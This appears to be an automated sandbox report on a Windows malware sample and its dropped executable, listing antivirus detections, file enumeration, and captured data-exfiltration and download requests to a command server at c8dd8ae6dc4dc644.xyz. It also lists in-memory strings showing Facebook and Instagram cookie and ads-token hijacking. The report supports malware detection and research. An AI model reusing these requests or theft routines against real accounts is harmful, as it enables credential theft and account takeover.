Analysis Report fnhcdXEfus.exe

AV Detection:

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Metadefender: Detection: 29%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: fnhcdXEfus.exe	Virustotal: Detection: 73%			Perma Link
Source: fnhcdXEfus.exe	Metadefender: Detection: 29%			Perma Link
Source: fnhcdXEfus.exe	ReversingLabs: Detection: 82%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: fnhcdXEfus.exe

Joe Sandbox ML: detected

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1001F720 CryptStringToBinaryA,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,_memset,CertGetCertificateContextProperty,_memset,_memset,_sprintf,_sprintf,CertCloseStore,CertFreeCertificateContext,		0_2_1001F720
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1001F720 CryptStringToBinaryA,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,_memset,CertGetCertificateContextProperty,_memset,_memset,_sprintf,_sprintf,CertCloseStore,CertFreeCertificateContext,		3_2_1001F720

Compliance:

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Unpacked PE file: 0.2.fnhcdXEfus.exe.2810000.5.unpack

Uses 32bit PE files

Source: fnhcdXEfus.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Uses new MSVCR Dlls

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe

File opened: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: fnhcdXEfus.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdb source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: c:\Projects\VS2005\EdgeCookiesView\Release\EdgeCookiesView.pdb source: 1612045890161.exe, 0000000B.00000000.258604279.000000000040F000.00000002.00020000.sdmp, 1612045890161.exe.3.dr
Source:	Binary string: atl71.pdbT source: atl71.dll.3.dr
Source:	Binary string: msvcr71.pdb\ source: msvcr71.dll.3.dr
Source:	Binary string: atl71.pdb source: atl71.dll.3.dr
Source:	Binary string: cmd_insert_server.icex-conference/x-cooltalk.movievideo/x-sgi-movievideo/x-msvideo.mxuvideo/vnd.mpegurl.qtvideo/quicktimevideo/mpeg.xmltext/xml.etxtext/x-setext.wmlstext/vnd.wap.wmlscript.wmltext/vnd.wap.wml.tsvtext/tab-separated-values.sgmtext/sgml.rtftext/rtf.rtxtext/richtext.txttext/plain.html.csstext/css.mshmodel/mesh.igsmodel/iges.xwdimage/x-xwindowdump.xpmimage/x-xpixmap.xbmimage/x-xbitmap.rgbimage/x-rgb.ppmimage/x-portable-pixmap.bgmimage/x-portable-graymap.pbmimage/x-portable-bitmap.pnmimage/x-portable-anymap.rasimage/x-cmu-raster.wbmpimage/vnd.wap.wbmp.djvimage/vnd.djvu.tiffimage/tiff.pngimage/png.jpgimage/jpeg.iefimage/ief.gifimage/gif.bmpimage/bmp.xyzchemical/x-xyz.pdbchemical/x-pdb.wavaudio/x-wavaudio/x-realaudio.arpmaudio/x-pn-realaudio-pluginaudio/x-pn-realaudio.m3uaudio/x-mpegurl.aifaudio/x-aiffaudio/mpeg.midiaudio/midiapplication/application/zip.xhtmlapplication/xhtml+xml.srcapplication/x-wais-source.ustarapplication/x-ustar.msapplication/x-troff-ms.meapplication/x-troff-me.manapplication/x-troff-man.texiapplication/x-texinfo.texapplication/x-tex.tclapplication/x-tclapplication/x-tar.sv4crcapplication/x-sv4crc.sv4cpioapplication/x-sv4cpio.sitapplication/x-stuffit.swfapplication/x-shockwave-flash.sharapplication/x-shar.shapplication/x-sh.latexapplication/x-latex.jsapplication/x-javascript.hdfapplication/x-hdf.gtarapplication/x-gtar.splapplication/x-futuresplash.dviapplication/x-dvi.cshapplication/x-csh.cpioapplication/x-cpio.pgnapplication/x-chess-pgn.vcdapplication/x-cdlink.bcpioapplication/x-bcpio.wmlscapplication/vnd.wap.wmlscriptc.wmlcapplication/vnd.wap.wmlc.wbxmlapplication/vnd.wap.wbxml.pptapplication/vnd.ms-powerpoint.xlsapplication/vnd.ms-excel.mifapplication/vnd.mif.smiapplication/smil.pdfapplication/pdf.odaapplication/oda.docapplication/msword.cptapplication/mac-compactpro.hqxapplication/mac-binhex40.ezapplication/andrew-inset source: download_engine.dll.3.dr
Source:	Binary string: d:\MiniDownloadLib\branches\bin\Product Release\download_engine.pdb source: download_engine.dll.3.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdbpJ source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdbt source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\xldl.pdb source: xldl.dll.3.dr
Source:	Binary string: msvcp71.pdb source: msvcp71.dll.3.dr
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb0 source: dl_peer_id.dll.3.dr
Source:	Binary string: C:\CodeBases\isdev\redist\Language Independent\i386\setup.pdb source: fnhcdXEfus.exe
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdb source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp
Source:	Binary string: d:\workspace\xlframework\win32_component\ThunderFW\Release\ThunderFW.pdb source: ThunderFW.exe, 0000001E.00000002.347950817.00000000002BC000.00000002.00020000.sdmp, ThunderFW.exe.3.dr
Source:	Binary string: f:\sys\objfre_win7_amd64\amd64\FsFilter64.pdb source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb source: dl_peer_id.dll.3.dr
Source:	Binary string: msvcr71.pdb source: msvcr71.dll.3.dr
Source:	Binary string: d:\BranchAI\launcher\Release\fileLauncher.pdb source: MSI6DDB.tmp.1.dr

Spreading:

Checks for available system drives (often done to infect USB drives)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: z:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: x:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: v:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: t:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: r:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: p:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: n:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: l:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: j:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: h:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: f:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: b:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: y:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: w:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: u:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: s:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: q:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: o:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: m:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: k:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: i:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: g:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: e:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: c:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: a:			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_0042A5EF __EH_prolog3_GS,_memset,GetTempPathW,FindFirstFileW,CompareFileTime,DeleteFileW,FindNextFileW,		0_2_0042A5EF
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_1001A170 FindFirstFileA,FindClose,		0_2_1001A170
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_1001A170 FindFirstFileA,FindClose,		3_2_1001A170

Enumerates the file system

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior

Networking:

Uses ping.exe to check the status of other devices and networks

Source: unknown

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /info_old/ddd HTTP/1.1Host: C8DD8AE6DC4DC644.xyzAccept: */*

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: POST //fine/send HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 84Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 677Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/g HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 1405Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: GET /info_old/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Host: c8dd8ae6dc4dc644.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: c8dd8ae6dc4dc644.xyz

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /info_old/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Host: c8dd8ae6dc4dc644.xyz

Source: global traffic

HTTP traffic detected: GET /info_old/ddd HTTP/1.1Host: C8DD8AE6DC4DC644.xyzAccept: */*

Found strings which match to known social media urls

Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: "name":"fb_dtsg","value":"name="fb_dtsg" value="Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: nonehttps://www.facebook.com/""2%d0https://graph.facebook.com/me/friends?access_token=%s&pretty=1&limit=1summarytotal_count{}summarytotal_count%dquery_friends.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: count = %d equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: -3https://www.facebook.com/payments/settings/payment_methods/index.php?__a=1errorSummaryconfirmemail.phpcard_type_name-110query_payment2.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: ret = %s equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: _time":"13245951499607797","lastpingday":"13245947458072931","location":1,"manifest":{"app":{"launch":{"container":"tab","web_url":"http://www.youtube.com"},"web_content":{"enabled":true,"origin":"http://www.youtube.com"}},"current_locale":"en","default_locale equals www.youtube.com (Youtube)
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: same-originreferer: https://www.messenger.com/origin: https://www.messenger.comhttps://www.messenger.com/login/nonce/ookie: c_user=ookie: xs=ookie: ;%[^;]; https://m.facebook.com/settings/email/<span class="_52ji _8uk3">accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1</span></span>@&#064;@&#064;https://m.facebook.com/settings/sms/<strong><span dir="ltr">accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1</span></span>+ https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_point"dtsg":{"token":"accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1"https://m.facebook.com/pages/create/edit_name/"draftID":Accept: */*Origin: https://m.facebook.comReferer: https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_pointSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originX-Requested-With: XMLHttpRequestX-Response-Format: JSONStreampage_name=&m_sess=&fb_dtsg=&jazoest=&__csr=&__req=3&__user=,"https://m.facebook.com/pages/creation_flow/?step=category&draft_id=&cat_ref_page_id=0&extra_data=%7B%22page_name%22%3A%22%22%7D"dtsg":{"token":"accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_pointsec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: same-originSec-Fetch-User: ?1upgrade-insecure-requests: 1"https://m.facebook.com/pages/create/edit_category/"pageID":Referer: https://m.facebook.com/pages/creation_flow/?step=category&draft_id=&cat_ref_page_id=0&extra_data=%7B%22page_name%22%3A%22%22%7DAccept: */*Origin: https://m.facebook.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originX-Response-Format: JSONStreamX-Requested-With: XMLHttpRequestpage_category=1300&draft_id=&m_sess=&fb_dtsg=&jazoest=&__csr=&__req=9&__user=}"+ .-_@@friends2page.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: pageid = %s equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: bad allocationSOFTWARE\Mozilla\Mozilla FirefoxCurrentVersion\\MainInstall Directory%s\firefox.exe{}[]"1""2""3"123bad allocationc_user=xs=https://www.facebook.com/adsmanager/manage/adshttps://business.facebook.com/adsmanager/manage/adssettings/?act=&access_token:""access_token":""query_token_account_id.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: c_user=xs=https://www.facebook.com/ads/manager/account_settingsaccountID:"access_token:"Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: none""query_token_account_id_laomaozi.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: c_user=xs=https://www.facebook.com/adsmanager/manage/adshttps://business.facebook.com/adsmanager/manage/adswindow.location.replace("")/act___accessToken="Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: nonehttps:act=/\/"%[0-9]query_token_account_id2.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe	String found in binary or memory: http://www.youtube.com equals www.youtube.com (Youtube)
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/"name="fb_dtsg" value=""logout_hash":"""logout_hash":"logoutToken:""logoutToken:"https://www.facebook.com/comet/try/source=SETTINGS_MENU&nctr[_mod]=pagelet_bluebar&__user=&__a=1&__csr=&__req=14&__beoa=0&__pc=PHASED%3ADEFAULT&dpr=1&__ccg=EXCELLENT&fb_dtsg=&jazoest=for (;;);{https://m.facebook.com/logout.php?h=%s&t=%sc_user=deleted"encrypted":"https://m.facebook.com/?_rdr""name="fb_dtsg" value="logout.phpm_sess=&fb_dtsg=&jazoest=&__csr=&__req=9&__a=&__user=https://m.facebook.com/bookmarks/flyout/body/?id=u_0_6\https://m.facebook.com/logout.php%sc_user=deletedhttps://m.facebook.com/?soft=bookmarks"logoutURL":"\"logout.phphttps://m.facebook.com&source=mtouch_logout_button&persist_locale=1&button_name=logout&button_location=settings%s equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/ads/manager/account_settings equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/adsmanager/manage/ads equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/bookmarks/pages?ref_type=logout_gear equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/comet/try/ equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/connect/ping?client_id=124024574287414&domain=www.instagram.com&origin=1&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F1e2RywyANNe.js%3Fversion%3D42%23cb%3Df19f2d8a0dd2f24%26domain%3Dwww.instagram.com%26origin%3Dhttps%253A%252F%252Fwww.instagram.com%252Ff2dc055ae1b1274%26relation%3Dparent&response_type=token%2Csigned_request%2Ccode&sdk=joey&version=v2.2 equals www.facebook.com (Facebook)
Source: 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/connect/ping?client_id=124024574287414&domain=www.instagram.com&origin=1&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F1e2RywyANNe.js%3Fversion%3D42%23cb%3Df19f2d8a0dd2f24%26domain%3Dwww.instagram.com%26origin%3Dhttps%253A%252F%252Fwww.instagram.com%252Ff2dc055ae1b1274%26relation%3Dparent&response_type=token%2Csigned_request%2Ccode&sdk=joey&version=v2.2&access_token=&expires_in=Location: query_instagram_cookie.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: token = %s equals www.facebook.com (Facebook)
